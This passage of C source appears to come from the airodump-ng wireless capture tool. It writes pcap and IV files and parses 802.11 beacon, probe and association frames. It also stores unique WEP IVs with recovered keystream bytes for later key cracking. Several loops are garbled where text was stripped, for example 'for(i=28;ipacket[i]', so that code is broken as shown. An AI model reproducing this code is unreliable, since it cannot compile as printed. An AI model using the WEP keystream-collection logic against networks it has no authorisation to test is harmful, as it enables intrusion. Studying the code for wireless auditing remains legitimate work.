buffer of the length of the prefix + '-' + 2 numbers + '.' + longest extension ("kismet.netxml") + terminating 0. */ ofn_len = strlen(prefix) + 1 + 2 + 1 + 13 + 1; ofn = (char *)calloc(1, ofn_len); G.f_index = 1; /* Make sure no file with the same name & all possible file extensions. */ do { for( i = 0; i < NB_EXTENSIONS; i++ ) { memset(ofn, 0, ofn_len); snprintf( ofn, ofn_len, "%s-%02d.%s", prefix, G.f_index, f_ext[i] ); if( ( f = fopen( ofn, "rb+" ) ) != NULL ) { fclose( f ); G.f_index++; break; } } } /* If we did all extensions then no file with that name or extension exist so we can use that number */ while( i < NB_EXTENSIONS ); G.prefix = (char *) malloc(strlen(prefix) + 1); memcpy(G.prefix, prefix, strlen(prefix) + 1); /* create the output CSV file */ if (G.output_format_csv) { memset(ofn, 0, ofn_len); snprintf( ofn, ofn_len, "%s-%02d.%s", prefix, G.f_index, AIRODUMP_NG_CSV_EXT ); if( ( G.f_txt = fopen( ofn, "wb+" ) ) == NULL ) { perror( "fopen failed" ); fprintf( stderr, "Could not create \"%s\".\n", ofn ); free( ofn ); return( 1 ); } } /* create the output Kismet CSV file */ if (G.output_format_kismet_csv) { memset(ofn, 0, ofn_len); snprintf( ofn, ofn_len, "%s-%02d.%s", prefix, G.f_index, KISMET_CSV_EXT ); if( ( G.f_kis = fopen( ofn, "wb+" ) ) == NULL ) { perror( "fopen failed" ); fprintf( stderr, "Could not create \"%s\".\n", ofn ); free( ofn ); return( 1 ); } } /* create the output GPS file */ if (G.usegpsd) { memset(ofn, 0, ofn_len); snprintf( ofn, ofn_len, "%s-%02d.%s", prefix, G.f_index, AIRODUMP_NG_GPS_EXT ); if( ( G.f_gps = fopen( ofn, "wb+" ) ) == NULL ) { perror( "fopen failed" ); fprintf( stderr, "Could not create \"%s\".\n", ofn ); free( ofn ); return( 1 ); } } /* Create the output kismet.netxml file */ if (G.output_format_kismet_netxml) { memset(ofn, 0, ofn_len); snprintf( ofn, ofn_len, "%s-%02d.%s", prefix, G.f_index, KISMET_NETXML_EXT ); if( ( G.f_kis_xml = fopen( ofn, "wb+" ) ) == NULL ) { perror( "fopen failed" ); fprintf( stderr, "Could not create \"%s\".\n", ofn ); free( ofn ); return( 1 ); } } /* create the output packet capture file */ if( G.output_format_pcap ) { struct pcap_file_header pfh; memset(ofn, 0, ofn_len); snprintf( ofn, ofn_len, "%s-%02d.%s", prefix, G.f_index, AIRODUMP_NG_CAP_EXT ); if( ( G.f_cap = fopen( ofn, "wb+" ) ) == NULL ) { perror( "fopen failed" ); fprintf( stderr, "Could not create \"%s\".\n", ofn ); free( ofn ); return( 1 ); } G.f_cap_name = (char *) malloc( strlen( ofn ) + 1 ); memcpy( G.f_cap_name, ofn, strlen( ofn ) + 1 ); free( ofn ); pfh.magic = TCPDUMP_MAGIC; pfh.version_major = PCAP_VERSION_MAJOR; pfh.version_minor = PCAP_VERSION_MINOR; pfh.thiszone = 0; pfh.sigfigs = 0; pfh.snaplen = 65535; pfh.linktype = LINKTYPE_IEEE802_11; if( fwrite( &pfh, 1, sizeof( pfh ), G.f_cap ) != (size_t) sizeof( pfh ) ) { perror( "fwrite(pcap file header) failed" ); return( 1 ); } } else if ( ivs_only ) { struct ivs2_filehdr fivs2; fivs2.version = IVS2_VERSION; memset(ofn, 0, ofn_len); snprintf( ofn, ofn_len, "%s-%02d.%s", prefix, G.f_index, IVS2_EXTENSION ); if( ( G.f_ivs = fopen( ofn, "wb+" ) ) == NULL ) { perror( "fopen failed" ); fprintf( stderr, "Could not create \"%s\".\n", ofn ); free( ofn ); return( 1 ); } free( ofn ); if( fwrite( IVS2_MAGIC, 1, 4, G.f_ivs ) != (size_t) 4 ) { perror( "fwrite(IVs file MAGIC) failed" ); return( 1 ); } if( fwrite( &fivs2, 1, sizeof(struct ivs2_filehdr), G.f_ivs ) != (size_t) sizeof(struct ivs2_filehdr) ) { perror( "fwrite(IVs file header) failed" ); return( 1 ); } } return( 0 ); } int update_dataps() { struct timeval tv; struct AP_info *ap_cur; struct NA_info *na_cur; int sec, usec, diff, ps; float pause; gettimeofday(&tv, NULL); ap_cur = G.ap_end; while( ap_cur != NULL ) { sec = (tv.tv_sec - ap_cur->tv.tv_sec); usec = (tv.tv_usec - ap_cur->tv.tv_usec); pause = (((float)(sec*1000000.0f + usec))/(1000000.0f)); if( pause > 2.0f ) { diff = ap_cur->nb_data - ap_cur->nb_data_old; ps = (int)(((float)diff)/pause); ap_cur->nb_dataps = ps; ap_cur->nb_data_old = ap_cur->nb_data; gettimeofday(&(ap_cur->tv), NULL); } ap_cur = ap_cur->prev; } na_cur = G.na_1st; while( na_cur != NULL ) { sec = (tv.tv_sec - na_cur->tv.tv_sec); usec = (tv.tv_usec - na_cur->tv.tv_usec); pause = (((float)(sec*1000000.0f + usec))/(1000000.0f)); if( pause > 2.0f ) { diff = na_cur->ack - na_cur->ack_old; ps = (int)(((float)diff)/pause); na_cur->ackps = ps; na_cur->ack_old = na_cur->ack; gettimeofday(&(na_cur->tv), NULL); } na_cur = na_cur->next; } return(0); } int list_tail_free(struct pkt_buf **list) { struct pkt_buf **pkts; struct pkt_buf *next; if(list == NULL) return 1; pkts = list; while(*pkts != NULL) { next = (*pkts)->next; if( (*pkts)->packet ) { free( (*pkts)->packet); (*pkts)->packet=NULL; } if(*pkts) { free(*pkts); *pkts = NULL; } *pkts = next; } *list=NULL; return 0; } int list_add_packet(struct pkt_buf **list, int length, unsigned char* packet) { struct pkt_buf *next = *list; if(length <= 0) return 1; if(packet == NULL) return 1; if(list == NULL) return 1; *list = (struct pkt_buf*) malloc(sizeof(struct pkt_buf)); if( *list == NULL ) return 1; (*list)->packet = (unsigned char*) malloc(length); if( (*list)->packet == NULL ) return 1; memcpy((*list)->packet, packet, length); (*list)->next = next; (*list)->length = length; gettimeofday( &((*list)->ctime), NULL); return 0; } /* * Check if the same IV was used if the first two bytes were the same. * If they are not identical, it would complain. * The reason is that the first two bytes unencrypted are 'aa' * so with the same IV it should always be encrypted to the same thing. */ int list_check_decloak(struct pkt_buf **list, int length, unsigned char* packet) { struct pkt_buf *next = *list; struct timeval tv1; int timediff; int i, correct; if( packet == NULL) return 1; if( list == NULL ) return 1; if( *list == NULL ) return 1; if( length <= 0) return 1; gettimeofday(&tv1, NULL); timediff = (((tv1.tv_sec - ((*list)->ctime.tv_sec)) * 1000000) + (tv1.tv_usec - ((*list)->ctime.tv_usec))) / 1000; if( timediff > BUFFER_TIME ) { list_tail_free(list); next=NULL; } while(next != NULL) { if(next->next != NULL) { timediff = (((tv1.tv_sec - (next->next->ctime.tv_sec)) * 1000000) + (tv1.tv_usec - (next->next->ctime.tv_usec))) / 1000; if( timediff > BUFFER_TIME ) { list_tail_free(&(next->next)); break; } } if( (next->length + 4) == length) { correct = 1; // check for 4 bytes added after the end for(i=28;ipacket[i] != packet[i]) { correct = 0; break; } } if(!correct) { correct = 1; // check for 4 bytes added at the beginning for(i=28;ipacket[i] != packet[4+i]) { correct = 0; break; } } } if(correct == 1) return 0; //found decloaking! } next = next->next; } return 1; //didn't find decloak } int remove_namac(unsigned char* mac) { struct NA_info *na_cur = NULL; struct NA_info *na_prv = NULL; if(mac == NULL) return( -1 ); na_cur = G.na_1st; na_prv = NULL; while( na_cur != NULL ) { if( ! memcmp( na_cur->namac, mac, 6 ) ) break; na_prv = na_cur; na_cur = na_cur->next; } /* if it's known, remove it */ if( na_cur != NULL ) { /* first in linked list */ if(na_cur == G.na_1st) { G.na_1st = na_cur->next; } else { na_prv->next = na_cur->next; } free(na_cur); na_cur=NULL; } return( 0 ); } int dump_add_packet( unsigned char *h80211, int caplen, struct rx_info *ri, int cardnum ) { int i, n, seq, msd, dlen, offset, clen, o; uint z; int type, length, numuni=0, numauth=0; struct pcap_pkthdr pkh; struct timeval tv; struct ivs2_pkthdr ivs2; unsigned char *p, *org_p, c; unsigned char bssid[6]; unsigned char stmac[6]; unsigned char namac[6]; unsigned char clear[2048]; int weight[16]; int num_xor=0; struct AP_info *ap_cur = NULL; struct ST_info *st_cur = NULL; struct NA_info *na_cur = NULL; struct AP_info *ap_prv = NULL; struct ST_info *st_prv = NULL; struct NA_info *na_prv = NULL; /* skip all non probe response frames in active scanning simulation mode */ if( G.active_scan_sim > 0 && h80211[0] != 0x50 ) return(0); /* skip packets smaller than a 802.11 header */ if( caplen < 24 ) goto write_packet; /* skip (uninteresting) control frames */ if( ( h80211[0] & 0x0C ) == 0x04 ) goto write_packet; /* if it's a LLC null packet, just forget it (may change in the future) */ if ( caplen > 28) if ( memcmp(h80211 + 24, llcnull, 4) == 0) return ( 0 ); /* grab the sequence number */ seq = ((h80211[22]>>4)+(h80211[23]<<4)); /* locate the access point's MAC address */ switch( h80211[1] & 3 ) { case 0: memcpy( bssid, h80211 + 16, 6 ); break; //Adhoc case 1: memcpy( bssid, h80211 + 4, 6 ); break; //ToDS case 2: memcpy( bssid, h80211 + 10, 6 ); break; //FromDS case 3: memcpy( bssid, h80211 + 10, 6 ); break; //WDS -> Transmitter taken as BSSID } if( memcmp(G.f_bssid, NULL_MAC, 6) != 0 ) { if( memcmp(G.f_netmask, NULL_MAC, 6) != 0 ) { if(is_filtered_netmask(bssid)) return(1); } else { if( memcmp(G.f_bssid, bssid, 6) != 0 ) return(1); } } /* update our chained list of access points */ ap_cur = G.ap_1st; ap_prv = NULL; while( ap_cur != NULL ) { if( ! memcmp( ap_cur->bssid, bssid, 6 ) ) break; ap_prv = ap_cur; ap_cur = ap_cur->next; } /* if it's a new access point, add it */ if( ap_cur == NULL ) { if( ! ( ap_cur = (struct AP_info *) malloc( sizeof( struct AP_info ) ) ) ) { perror( "malloc failed" ); return( 1 ); } /* if mac is listed as unknown, remove it */ remove_namac(bssid); memset( ap_cur, 0, sizeof( struct AP_info ) ); if( G.ap_1st == NULL ) G.ap_1st = ap_cur; else ap_prv->next = ap_cur; memcpy( ap_cur->bssid, bssid, 6 ); if (ap_cur->manuf == NULL) { ap_cur->manuf = get_manufacturer(ap_cur->bssid[0], ap_cur->bssid[1], ap_cur->bssid[2]); } ap_cur->prev = ap_prv; ap_cur->tinit = time( NULL ); ap_cur->tlast = time( NULL ); ap_cur->avg_power = -1; ap_cur->best_power = -1; ap_cur->power_index = -1; for( i = 0; i < NB_PWR; i++ ) ap_cur->power_lvl[i] = -1; ap_cur->channel = -1; ap_cur->max_speed = -1; ap_cur->security = 0; ap_cur->uiv_root = uniqueiv_init(); ap_cur->nb_dataps = 0; ap_cur->nb_data_old = 0; gettimeofday(&(ap_cur->tv), NULL); ap_cur->dict_started = 0; ap_cur->key = NULL; G.ap_end = ap_cur; ap_cur->nb_bcn = 0; ap_cur->rx_quality = 0; ap_cur->fcapt = 0; ap_cur->fmiss = 0; ap_cur->last_seq = 0; gettimeofday( &(ap_cur->ftimef), NULL); gettimeofday( &(ap_cur->ftimel), NULL); gettimeofday( &(ap_cur->ftimer), NULL); ap_cur->ssid_length = 0; ap_cur->essid_stored = 0; ap_cur->timestamp = 0; ap_cur->decloak_detect=G.decloak; ap_cur->is_decloak = 0; ap_cur->packets = NULL; ap_cur->marked = 0; ap_cur->marked_color = 1; ap_cur->data_root = NULL; ap_cur->EAP_detected = 0; memcpy(ap_cur->gps_loc_min, G.gps_loc, sizeof(float)*5); memcpy(ap_cur->gps_loc_max, G.gps_loc, sizeof(float)*5); memcpy(ap_cur->gps_loc_best, G.gps_loc, sizeof(float)*5); } /* update the last time seen */ ap_cur->tlast = time( NULL ); /* only update power if packets comes from * the AP: either type == mgmt and SA != BSSID, * or FromDS == 1 and ToDS == 0 */ if( ( ( h80211[1] & 3 ) == 0 && memcmp( h80211 + 10, bssid, 6 ) == 0 ) || ( ( h80211[1] & 3 ) == 2 ) ) { ap_cur->power_index = ( ap_cur->power_index + 1 ) % NB_PWR; ap_cur->power_lvl[ap_cur->power_index] = ri->ri_power; ap_cur->avg_power = 0; for( i = 0, n = 0; i < NB_PWR; i++ ) { if( ap_cur->power_lvl[i] != -1 ) { ap_cur->avg_power += ap_cur->power_lvl[i]; n++; } } if( n > 0 ) { ap_cur->avg_power /= n; if( ap_cur->avg_power > ap_cur->best_power ) { ap_cur->best_power = ap_cur->avg_power; memcpy(ap_cur->gps_loc_best, G.gps_loc, sizeof(float)*5); } } else ap_cur->avg_power = -1; /* every packet in here comes from the AP */ if(G.gps_loc[0] > ap_cur->gps_loc_max[0]) ap_cur->gps_loc_max[0] = G.gps_loc[0]; if(G.gps_loc[1] > ap_cur->gps_loc_max[1]) ap_cur->gps_loc_max[1] = G.gps_loc[1]; if(G.gps_loc[2] > ap_cur->gps_loc_max[2]) ap_cur->gps_loc_max[2] = G.gps_loc[2]; if(G.gps_loc[0] < ap_cur->gps_loc_min[0]) ap_cur->gps_loc_min[0] = G.gps_loc[0]; if(G.gps_loc[1] < ap_cur->gps_loc_min[1]) ap_cur->gps_loc_min[1] = G.gps_loc[1]; if(G.gps_loc[2] < ap_cur->gps_loc_min[2]) ap_cur->gps_loc_min[2] = G.gps_loc[2]; // printf("seqnum: %i\n", seq); if(ap_cur->fcapt == 0 && ap_cur->fmiss == 0) gettimeofday( &(ap_cur->ftimef), NULL); if(ap_cur->last_seq != 0) ap_cur->fmiss += (seq - ap_cur->last_seq - 1); ap_cur->last_seq = seq; ap_cur->fcapt++; gettimeofday( &(ap_cur->ftimel), NULL); // if(ap_cur->fcapt >= QLT_COUNT) update_rx_quality(); } if( h80211[0] == 0x80 ) { ap_cur->nb_bcn++; } ap_cur->nb_pkt++; /* find wpa handshake */ if( h80211[0] == 0x10 ) { /* reset the WPA handshake state */ if( st_cur != NULL && st_cur->wpa.state != 0xFF ) st_cur->wpa.state = 0; // printf("initial auth %d\n", ap_cur->wpa_state); } /* locate the station MAC in the 802.11 header */ switch( h80211[1] & 3 ) { case 0: /* if management, check that SA != BSSID */ if( memcmp( h80211 + 10, bssid, 6 ) == 0 ) goto skip_station; memcpy( stmac, h80211 + 10, 6 ); break; case 1: /* ToDS packet, must come from a client */ memcpy( stmac, h80211 + 10, 6 ); break; case 2: /* FromDS packet, reject broadcast MACs */ if( (h80211[4]%2) != 0 ) goto skip_station; memcpy( stmac, h80211 + 4, 6 ); break; default: goto skip_station; } /* update our chained list of wireless stations */ st_cur = G.st_1st; st_prv = NULL; while( st_cur != NULL ) { if( ! memcmp( st_cur->stmac, stmac, 6 ) ) break; st_prv = st_cur; st_cur = st_cur->next; } /* if it's a new client, add it */ if( st_cur == NULL ) { if( ! ( st_cur = (struct ST_info *) malloc( sizeof( struct ST_info ) ) ) ) { perror( "malloc failed" ); return( 1 ); } /* if mac is listed as unknown, remove it */ remove_namac(stmac); memset( st_cur, 0, sizeof( struct ST_info ) ); if( G.st_1st == NULL ) G.st_1st = st_cur; else st_prv->next = st_cur; memcpy( st_cur->stmac, stmac, 6 ); if (st_cur->manuf == NULL) { st_cur->manuf = get_manufacturer(st_cur->stmac[0], st_cur->stmac[1], st_cur->stmac[2]); } st_cur->prev = st_prv; st_cur->tinit = time( NULL ); st_cur->tlast = time( NULL ); st_cur->power = -1; st_cur->rate_to = -1; st_cur->rate_from = -1; st_cur->probe_index = -1; st_cur->missed = 0; st_cur->lastseq = 0; st_cur->qos_fr_ds = 0; st_cur->qos_to_ds = 0; gettimeofday( &(st_cur->ftimer), NULL); for( i = 0; i < NB_PRB; i++ ) { memset( st_cur->probes[i], 0, sizeof( st_cur->probes[i] ) ); st_cur->ssid_length[i] = 0; } G.st_end = st_cur; } if( st_cur->base == NULL || memcmp( ap_cur->bssid, BROADCAST, 6 ) != 0 ) st_cur->base = ap_cur; //update bitrate to station if( (st_cur != NULL) && ( h80211[1] & 3 ) == 2 ) st_cur->rate_to = ri->ri_rate; /* update the last time seen */ st_cur->tlast = time( NULL ); /* only update power if packets comes from the * client: either type == Mgmt and SA != BSSID, * or FromDS == 0 and ToDS == 1 */ if( ( ( h80211[1] & 3 ) == 0 && memcmp( h80211 + 10, bssid, 6 ) != 0 ) || ( ( h80211[1] & 3 ) == 1 ) ) { st_cur->power = ri->ri_power; st_cur->rate_from = ri->ri_rate; if(st_cur->lastseq != 0) { msd = seq - st_cur->lastseq - 1; if(msd > 0 && msd < 1000) st_cur->missed += msd; } st_cur->lastseq = seq; } st_cur->nb_pkt++; skip_station: /* packet parsing: Probe Request */ if( h80211[0] == 0x40 && st_cur != NULL ) { p = h80211 + 24; while( p < h80211 + caplen ) { if( p + 2 + p[1] > h80211 + caplen ) break; if( p[0] == 0x00 && p[1] > 0 && p[2] != '\0' && ( p[1] > 1 || p[2] != ' ' ) ) { // n = ( p[1] > 32 ) ? 32 : p[1]; n = p[1]; for( i = 0; i < n; i++ ) if( p[2 + i] > 0 && p[2 + i] < ' ' ) goto skip_probe; /* got a valid ASCII probed ESSID, check if it's already in the ring buffer */ for( i = 0; i < NB_PRB; i++ ) if( memcmp( st_cur->probes[i], p + 2, n ) == 0 ) goto skip_probe; st_cur->probe_index = ( st_cur->probe_index + 1 ) % NB_PRB; memset( st_cur->probes[st_cur->probe_index], 0, 256 ); memcpy( st_cur->probes[st_cur->probe_index], p + 2, n ); //twice?! st_cur->ssid_length[st_cur->probe_index] = n; for( i = 0; i < n; i++ ) { c = p[2 + i]; if( c == 0 || ( c > 126 && c < 160 ) ) c = '.'; //could also check ||(c>0 && c<32) st_cur->probes[st_cur->probe_index][i] = c; } } p += 2 + p[1]; } } skip_probe: /* packet parsing: Beacon or Probe Response */ if( h80211[0] == 0x80 || h80211[0] == 0x50 ) { if( !(ap_cur->security & (STD_OPN|STD_WEP|STD_WPA|STD_WPA2)) ) { if( ( h80211[34] & 0x10 ) >> 4 ) ap_cur->security |= STD_WEP|ENC_WEP; else ap_cur->security |= STD_OPN; } ap_cur->preamble = ( h80211[34] & 0x20 ) >> 5; unsigned long long *tstamp = (unsigned long long *) (h80211 + 24); ap_cur->timestamp = letoh64(*tstamp); p = h80211 + 36; while( p < h80211 + caplen ) { if( p + 2 + p[1] > h80211 + caplen ) break; //only update the essid length if the new length is > the old one if( p[0] == 0x00 && (ap_cur->ssid_length < p[1]) ) ap_cur->ssid_length = p[1]; if( p[0] == 0x00 && p[1] > 0 && p[2] != '\0' && ( p[1] > 1 || p[2] != ' ' ) ) { /* found a non-cloaked ESSID */ // n = ( p[1] > 32 ) ? 32 : p[1]; n = p[1]; memset( ap_cur->essid, 0, 256 ); memcpy( ap_cur->essid, p + 2, n ); if( G.f_ivs != NULL && !ap_cur->essid_stored ) { memset(&ivs2, '\x00', sizeof(struct ivs2_pkthdr)); ivs2.flags |= IVS2_ESSID; ivs2.len += ap_cur->ssid_length; if( memcmp( G.prev_bssid, ap_cur->bssid, 6 ) != 0 ) { ivs2.flags |= IVS2_BSSID; ivs2.len += 6; memcpy( G.prev_bssid, ap_cur->bssid, 6 ); } /* write header */ if( fwrite( &ivs2, 1, sizeof(struct ivs2_pkthdr), G.f_ivs ) != (size_t) sizeof(struct ivs2_pkthdr) ) { perror( "fwrite(IV header) failed" ); return( 1 ); } /* write BSSID */ if(ivs2.flags & IVS2_BSSID) { if( fwrite( ap_cur->bssid, 1, 6, G.f_ivs ) != (size_t) 6 ) { perror( "fwrite(IV bssid) failed" ); return( 1 ); } } /* write essid */ if( fwrite( ap_cur->essid, 1, ap_cur->ssid_length, G.f_ivs ) != (size_t) ap_cur->ssid_length ) { perror( "fwrite(IV essid) failed" ); return( 1 ); } ap_cur->essid_stored = 1; } for( i = 0; i < n; i++ ) if( ( ap_cur->essid[i] > 0 && ap_cur->essid[i] < 32 ) || ( ap_cur->essid[i] > 126 && ap_cur->essid[i] < 160 ) ) ap_cur->essid[i] = '.'; } /* get the maximum speed in Mb and the AP's channel */ if( p[0] == 0x01 || p[0] == 0x32 ) { if(ap_cur->max_speed < ( p[1 + p[1]] & 0x7F ) / 2) ap_cur->max_speed = ( p[1 + p[1]] & 0x7F ) / 2; } if( p[0] == 0x03 ) ap_cur->channel = p[2]; p += 2 + p[1]; } } /* packet parsing: Beacon & Probe response */ if( (h80211[0] == 0x80 || h80211[0] == 0x50) && caplen > 38) { p=h80211+36; //ignore hdr + fixed params while( p < h80211 + caplen ) { type = p[0]; length = p[1]; if(p+2+length > h80211 + caplen) { /* printf("error parsing tags! %p vs. %p (tag: %i, length: %i,position: %i)\n", (p+2+length), (h80211+caplen), type, length, (p-h80211)); exit(1);*/ break; } if( (type == 0xDD && (length >= 8) && (memcmp(p+2, "\x00\x50\xF2\x01\x01\x00", 6) == 0)) || (type == 0x30) ) { ap_cur->security &= ~(STD_WEP|ENC_WEP|STD_WPA); org_p = p; offset = 0; if(type == 0xDD) { //WPA defined in vendor specific tag -> WPA1 support ap_cur->security |= STD_WPA; offset = 4; } if(type == 0x30) { ap_cur->security |= STD_WPA2; offset = 0; } if(length < (18+offset)) { p += length+2; continue; } if( p+9+offset > h80211+caplen ) break; numuni = p[8+offset] + (p[9+offset]<<8); if( p+ (11+offset) + 4*numuni > h80211+caplen) break; numauth = p[(10+offset) + 4*numuni] + (p[(11+offset) + 4*numuni]<<8); p += (10+offset); if(type != 0x30) { if( p + (4*numuni) + (2+4*numauth) > h80211+caplen) break; } else { if( p + (4*numuni) + (2+4*numauth) + 2 > h80211+caplen) break; } for(i=0; isecurity |= ENC_WEP; break; case 0x02: ap_cur->security |= ENC_TKIP; break; case 0x03: ap_cur->security |= ENC_WRAP; break; case 0x04: ap_cur->security |= ENC_CCMP; break; case 0x05: ap_cur->security |= ENC_WEP104; break; default: break; } } p += 2+4*numuni; for(i=0; isecurity |= AUTH_MGT; break; case 0x02: ap_cur->security |= AUTH_PSK; break; default: break; } } p += 2+4*numauth; if( type == 0x30 ) p += 2; p = org_p + length+2; } else if( (type == 0xDD && (length >= 8) && (memcmp(p+2, "\x00\x50\xF2\x02\x01\x01", 6) == 0))) { ap_cur->security |= STD_QOS; p += length+2; } else p += length+2; } } /* packet parsing: Authentication Response */ if( h80211[0] == 0xB0 && caplen >= 30) { if( ap_cur->security & STD_WEP ) { //successful step 2 or 4 (coming from the AP) if(memcmp(h80211+28, "\x00\x00", 2) == 0 && (h80211[26] == 0x02 || h80211[26] == 0x04)) { ap_cur->security &= ~(AUTH_OPN | AUTH_PSK | AUTH_MGT); if(h80211[24] == 0x00) ap_cur->security |= AUTH_OPN; if(h80211[24] == 0x01) ap_cur->security |= AUTH_PSK; } } } /* packet parsing: Association Request */ if( h80211[0] == 0x00 && caplen > 28 ) { p = h80211 + 28; while( p < h80211 + caplen ) { if( p + 2 + p[1] > h80211 + caplen ) break; if( p[0] == 0x00 && p[1] > 0 && p[2] != '\0' && ( p[1] > 1 || p[2] != ' ' ) ) { /* found a non-cloaked ESSID */ n = ( p[1] > 32 ) ? 32 : p[1]; memset( ap_cur->essid, 0, 33 ); memcpy( ap_cur->essid, p + 2, n ); if( G.f_ivs != NULL && !ap_cur->essid_stored ) { memset(&ivs2, '\x00', sizeof(struct ivs2_pkthdr)); ivs2.flags |= IVS2_ESSID; ivs2.len += ap_cur->ssid_length; if( memcmp( G.prev_bssid, ap_cur->bssid, 6 ) != 0 ) { ivs2.flags |= IVS2_BSSID; ivs2.len += 6; memcpy( G.prev_bssid, ap_cur->bssid, 6 ); } /* write header */ if( fwrite( &ivs2, 1, sizeof(struct ivs2_pkthdr), G.f_ivs ) != (size_t) sizeof(struct ivs2_pkthdr) ) { perror( "fwrite(IV header) failed" ); return( 1 ); } /* write BSSID */ if(ivs2.flags & IVS2_BSSID) { if( fwrite( ap_cur->bssid, 1, 6, G.f_ivs ) != (size_t) 6 ) { perror( "fwrite(IV bssid) failed" ); return( 1 ); } } /* write essid */ if( fwrite( ap_cur->essid, 1, ap_cur->ssid_length, G.f_ivs ) != (size_t) ap_cur->ssid_length ) { perror( "fwrite(IV essid) failed" ); return( 1 ); } ap_cur->essid_stored = 1; } for( i = 0; i < n; i++ ) if( ap_cur->essid[i] < 32 || ( ap_cur->essid[i] > 126 && ap_cur->essid[i] < 160 ) ) ap_cur->essid[i] = '.'; } p += 2 + p[1]; } if(st_cur != NULL) st_cur->wpa.state = 0; } /* packet parsing: some data */ if( ( h80211[0] & 0x0C ) == 0x08 ) { /* update the channel if we didn't get any beacon */ if( ap_cur->channel == -1 ) { if(ri->ri_channel > 0 && ri->ri_channel < 167) ap_cur->channel = ri->ri_channel; else ap_cur->channel = G.channel[cardnum]; } /* check the SNAP header to see if data is encrypted */ z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; /* Check if 802.11e (QoS) */ if( (h80211[0] & 0x80) == 0x80) { z+=2; if(st_cur != NULL) { if( (h80211[1] & 3) == 1 ) //ToDS st_cur->qos_to_ds = 1; else st_cur->qos_fr_ds = 1; } } else { if(st_cur != NULL) { if( (h80211[1] & 3) == 1 ) //ToDS st_cur->qos_to_ds = 0; else st_cur->qos_fr_ds = 0; } } if(z==24) { if(list_check_decloak(&(ap_cur->packets), caplen, h80211) != 0) { list_add_packet(&(ap_cur->packets), caplen, h80211); } else { ap_cur->is_decloak = 1; ap_cur->decloak_detect = 0; list_tail_free(&(ap_cur->packets)); memset(G.message, '\x00', sizeof(G.message)); snprintf( G.message, sizeof( G.message ) - 1, "][ Decloak: %02X:%02X:%02X:%02X:%02X:%02X ", ap_cur->bssid[0], ap_cur->bssid[1], ap_cur->bssid[2], ap_cur->bssid[3], ap_cur->bssid[4], ap_cur->bssid[5]); } } if( z + 26 > (uint)caplen ) goto write_packet; if( h80211[z] == h80211[z + 1] && h80211[z + 2] == 0x03 ) { // if( ap_cur->encryption < 0 ) // ap_cur->encryption = 0; /* if ethertype == IPv4, find the LAN address */ if( h80211[z + 6] == 0x08 && h80211[z + 7] == 0x00 && ( h80211[1] & 3 ) == 0x01 ) memcpy( ap_cur->lanip, &h80211[z + 20], 4 ); if( h80211[z + 6] == 0x08 && h80211[z + 7] == 0x06 ) memcpy( ap_cur->lanip, &h80211[z + 22], 4 ); } // else // ap_cur->encryption = 2 + ( ( h80211[z + 3] & 0x20 ) >> 5 ); if(ap_cur->security == 0 || (ap_cur->security & STD_WEP) ) { if( (h80211[1] & 0x40) != 0x40 ) { ap_cur->security |= STD_OPN; } else { if((h80211[z+3] & 0x20) == 0x20) { ap_cur->security |= STD_WPA; } else { ap_cur->security |= STD_WEP; if( (h80211[z+3] & 0xC0) != 0x00) { ap_cur->security |= ENC_WEP40; } else { ap_cur->security &= ~ENC_WEP40; ap_cur->security |= ENC_WEP; } } } } if( z + 10 > (uint)caplen ) goto write_packet; if( ap_cur->security & STD_WEP ) { /* WEP: check if we've already seen this IV */ if( ! uniqueiv_check( ap_cur->uiv_root, &h80211[z] ) ) { /* first time seen IVs */ if( G.f_ivs != NULL ) { memset(&ivs2, '\x00', sizeof(struct ivs2_pkthdr)); ivs2.flags = 0; ivs2.len = 0; /* datalen = caplen - (header+iv+ivs) */ dlen = caplen -z -4 -4; //original data len if(dlen > 2048) dlen = 2048; //get cleartext + len + 4(iv+idx) num_xor = known_clear(clear, &clen, weight, h80211, dlen); if(num_xor == 1) { ivs2.flags |= IVS2_XOR; ivs2.len += clen + 4; /* reveal keystream (plain^encrypted) */ for(n=0; n<(ivs2.len-4); n++) { clear[n] = (clear[n] ^ h80211[z+4+n]) & 0xFF; } //clear is now the keystream } else { //do it again to get it 2 bytes higher num_xor = known_clear(clear+2, &clen, weight, h80211, dlen); ivs2.flags |= IVS2_PTW; //len = 4(iv+idx) + 1(num of keystreams) + 1(len per keystream) + 32*num_xor + 16*sizeof(int)(weight[16]) ivs2.len += 4 + 1 + 1 + 32*num_xor + 16*sizeof(int); clear[0] = num_xor; clear[1] = clen; /* reveal keystream (plain^encrypted) */ for(o=0; obssid, 6 ) != 0 ) { ivs2.flags |= IVS2_BSSID; ivs2.len += 6; memcpy( G.prev_bssid, ap_cur->bssid, 6 ); } if( fwrite( &ivs2, 1, sizeof(struct ivs2_pkthdr), G.f_ivs ) != (size_t) sizeof(struct ivs2_pkthdr) ) { perror( "fwrite(IV header) failed" ); return( 1 ); } if( ivs2.flags & IVS2_BSSID ) { if( fwrite( ap_cur->bssid, 1, 6, G.f_ivs ) != (size_t) 6 ) { perror( "fwrite(IV bssid) failed" ); return( 1 ); } ivs2.len -= 6; } if( fwrite( h80211+z, 1, 4, G.f_ivs ) != (size_t) 4 ) { perror( "fwrite(IV iv+idx) failed" ); return( 1 ); } ivs2.len -= 4; if( fwrite( clear, 1, ivs2.len, G.f_ivs ) != (size_t) ivs2.len ) { perror( "fwrite(IV keystream) failed" ); return( 1 ); } } uniqueiv_mark( ap_cur->uiv_root, &h80211[z] ); ap_cur->nb_data++; } // Record all data linked to IV to detect WEP Cloaking if( G.f_ivs == NULL && G.detect_anomaly) { // Only allocate this when seeing WEP AP if (ap_cur->data_root == NULL) ap_cur->data_root = data_init(); // Only works with full capture, not IV-only captures if (data_check(ap_cur->data_root, &h80211[z], &h80211[z + 4]) == CLOAKING && ap_cur->EAP_detected == 0) { //If no EAP/EAP was detected, indicate WEP cloaking memset(G.message, '\x00', sizeof(G.message)); snprintf( G.message, sizeof( G.message ) - 1, "][ WEP Cloaking: %02X:%02X:%02X:%02X:%02X:%02X ", ap_cur->bssid[0], ap_cur->bssid[1], ap_cur->bssid[2], ap_cur->bssid[3], ap_cur->bssid[4], ap_cur->bssid[5]); } } } else { ap_cur->nb_data++; } z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; /* Check if 802.11e (QoS) */ if( (h80211[0] & 0x80) == 0x80) z+=2; if( z + 26 > (uint)caplen ) goto write_packet; z += 6; //skip LLC header /* check ethertype == EAPOL */ if( h80211[z] == 0x88 && h80211[z + 1] == 0x8E && (h80211[1] & 0x40) != 0x40 ) { ap_cur->EAP_detected = 1; z += 2; //skip 